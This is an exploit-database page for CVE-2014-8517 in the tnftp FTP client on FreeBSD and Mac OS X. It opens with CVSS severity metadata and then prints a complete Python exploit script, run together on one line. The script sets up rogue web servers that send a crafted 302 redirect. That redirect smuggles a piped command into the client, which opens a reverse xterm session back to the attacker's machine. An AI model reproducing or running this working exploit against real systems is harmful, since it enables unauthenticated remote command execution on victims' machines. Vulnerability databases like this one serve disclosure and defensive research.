Exploitalert - Database of Exploits

tnftp in MacOS X 10.10 & FreeBSD10 Remote Comand Execution Exploit

CVE	Category	Price	Severity
CVE-2014-8517	CWE-78	$5,000	High

Author	Risk	Exploitation Type	Date
Darren Martyn	High	Remote	2014-12-04

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

http://cxsecurity.com/ascii/WLB-2014120030

#!/usr/bin/env python2 # # Exploit Title: [tnftp BSD exploit] # Date: [11/29/2014] # Exploit Author: [dash] # Vendor Homepage: [www.freebsd.org] # Version: [FreeBSD 8/9/10] # Tested on: [FreeBSD 9.3] # CVE : [CVE-2014-8517] # tnftp exploit (CVE-2014-8517)tested against freebsd 9.3 # https://www.freebsd.org/security/advisories/FreeBSD-SA-14:26.ftp.asc # # 29 Nov 2014 by [email protected] # # usage: # # redirect the vulnerable ftp client requests for http to your machine # # client will do something like: # ftp http://ftp.freebsd.org/data.txt # # you will intercept the dns request and redirect victim to your fake webserver ip # # attacker: start on 192.168.2.1 Xnest: Xnest -ac :1 # probably do also xhost+victimip # # attacker: python CVE-2014-8517.py 192.168.1.1 81 192.168.1.1 # # sadly you cannot put a slash behind the | also www-encoded is not working # plus problems with extra pipes # this renders a lot of usefull commands useless # so xterm -display it was ;) # # *dirty* *dirdy* *dyrdy* *shell* ! # import os import sys import time import socket def usage(): print "CVE-2014-8517 tnftp exploit" print "by [email protected] in 29 Nov 2014" print print "%s <redirect ip> <redirect port> <reverse xterm ip>"% (sys.argv[0]) print "%s 192.168.1.1 81 192.168.2.1"% (sys.argv[0]) #bind a fake webserver on 0.0.0.0 port 80 def webserveRedirect(redirect): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0",80)) s.listen(3) h, c = s.accept() #wait for request #print h.recv(1024) #send 302 print "[+] Sending redirect :>" h.send(redirect) s.close() return 0 #bind a fake webserver on port %rport def deliverUgga(owned): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0",rport)) s.listen(3) h, c = s.accept() #print h.recv(1024) print "[+] Deliver some content (shell is spwaned now)" h.send(owned) s.close() return 0 owned="""HTTP/1.1 200 Found Date: Fri, 29 Nov 2014 1:00:03 GMT Server: Apache Vary: Accept-Encoding Content-Length: 5 Connection: close Content-Type: text/html; charset=iso-8859-1 ugga ugga """ if(os.getuid())!=0: print "[-] Sorry, you need root to bind port 80!" sys.exit(1) if len(sys.argv)<3: usage() sys.exit(1) rip = sys.argv[1] rport = int(sys.argv[2]) revip = sys.argv[3] print "[+] Starting tnftp BSD client side exploit (CVE-2014-8517)" print "[+] Dont forget to run Xnest -ac :1" # ok, lets use xterm -display cmd = "xterm -display %s:1" % (revip) cmd = cmd.replace(" ","%20") print "[+] Payload: [%s]" % cmd redirect = "HTTP/1.1 302\r\n"\ "Content-Type: text/html\r\n"\ "Connection: keep-alive\r\n"\ "Location: http://%s:%d/cgi-bin/|%s\r\n"\ "\r\n\r\n" % (rip,rport,cmd) #child process owned data delivery uggapid = os.fork() if uggapid == 0: uggapid = os.getpid() deliverUgga(owned) else: #child proces for webserver redirect webpid = os.fork() if webpid == 0: webpid = os.getpid() webserveRedirect(redirect) #childs, come home! try: os.waitpid(webpid,0) except: pass try: os.waitpid(uggapid,0) except: pass #oh wait :> time.sleep(5)

Impressum